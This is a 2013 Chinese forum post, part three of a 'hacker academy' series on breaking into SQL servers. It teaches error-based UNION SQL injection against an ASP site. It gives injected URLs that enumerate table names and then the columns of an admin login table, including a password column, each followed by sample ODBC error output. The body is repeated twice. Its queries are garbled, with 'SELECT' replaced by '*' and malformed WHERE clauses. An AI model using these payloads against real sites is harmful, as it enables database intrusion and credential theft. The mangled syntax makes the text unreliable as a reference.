edit_note帖子
1,551
stars积分
20,071
event加入
2011-05-19
怀旧国机
黑客学院教您入侵SQL服务器(三)
schedule发表于 2013-04-04 02:56:00
visibility查看 110
chat_bubble回复 0
#1 楼主
6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?
我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表名、列名等)。比方有这么一个URL:
http://duck/index.asp?id=10
在上面的URL中我们可以尝试使用UNION子句的方式在整数‘10‘之后加入其他请求字符串进去的,如:
http://duck/index.asp?id=10 UNION * TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES--
上例中的系统表*RMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
问请求就是:
* TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES-
服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int)时,系统就会产生错误。服务器会显示如下错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
table1‘ to a column of data type int.
/index.asp, line 5
非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
http://duck/index.asp?id=10 UNION * TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN (‘table1‘)--
我们也可以通过LIKE来找寻相关的特殊字:
http://duck/index.asp?id=10 UNION * TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE ‘%25login%25‘--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
admin_login‘ to a column of data type int.
/index.asp, line 5
6.1如何找出表中的列名?
我们可以利用另一个比较重要的表*RMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
http://duck/index.asp?id=10 UNION * TOP 1 COLUMN_NAME FROM *RMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=‘admin_login‘--
输出显示为:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
login_id‘ to a column of data type int.
/index.asp, line 5
现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:
http://duck/index.asp?id=10 UNION * TOP 1 COLUMN_NAME FROM *RMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=‘admin_login‘ WHERE COLUMN_NAME NOT IN (‘login_id‘)--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
login_name‘ to a column of data type int.
/index.asp, line 5
若继续重复这样的操作,我们将可以获得余下所有的列名,如“password“、“details“。当我们使用了下面的请求后就可以得到(除了‘login_id‘,‘login_name‘,‘password‘,details‘之外的列名):
http://duck/index.asp?id=10 UNION * TOP 1 COLUMN_NAME FROM *RMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=‘admin_login‘ WHERE COLUMN_NAME NOT IN (‘login_id‘,‘login_name‘,‘password‘
,details‘)--
输出后得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14‘
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the * list if the statement contains a UNION operator.
我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表名、列名等)。比方有这么一个URL:
http://duck/index.asp?id=10
在上面的URL中我们可以尝试使用UNION子句的方式在整数‘10‘之后加入其他请求字符串进去的,如:
http://duck/index.asp?id=10 UNION * TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES--
上例中的系统表*RMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
问请求就是:
* TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES-
服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int)时,系统就会产生错误。服务器会显示如下错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
table1‘ to a column of data type int.
/index.asp, line 5
非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
http://duck/index.asp?id=10 UNION * TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN (‘table1‘)--
我们也可以通过LIKE来找寻相关的特殊字:
http://duck/index.asp?id=10 UNION * TOP 1 TABLE_NAME FROM *RMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE ‘%25login%25‘--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
admin_login‘ to a column of data type int.
/index.asp, line 5
6.1如何找出表中的列名?
我们可以利用另一个比较重要的表*RMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
http://duck/index.asp?id=10 UNION * TOP 1 COLUMN_NAME FROM *RMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=‘admin_login‘--
输出显示为:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
login_id‘ to a column of data type int.
/index.asp, line 5
现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:
http://duck/index.asp?id=10 UNION * TOP 1 COLUMN_NAME FROM *RMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=‘admin_login‘ WHERE COLUMN_NAME NOT IN (‘login_id‘)--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
login_name‘ to a column of data type int.
/index.asp, line 5
若继续重复这样的操作,我们将可以获得余下所有的列名,如“password“、“details“。当我们使用了下面的请求后就可以得到(除了‘login_id‘,‘login_name‘,‘password‘,details‘之外的列名):
http://duck/index.asp?id=10 UNION * TOP 1 COLUMN_NAME FROM *RMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=‘admin_login‘ WHERE COLUMN_NAME NOT IN (‘login_id‘,‘login_name‘,‘password‘
,details‘)--
输出后得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14‘
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the * list if the statement contains a UNION operator.
forum
暂无回复,快来抢沙发!
登录 后才能回复
flag举报帖子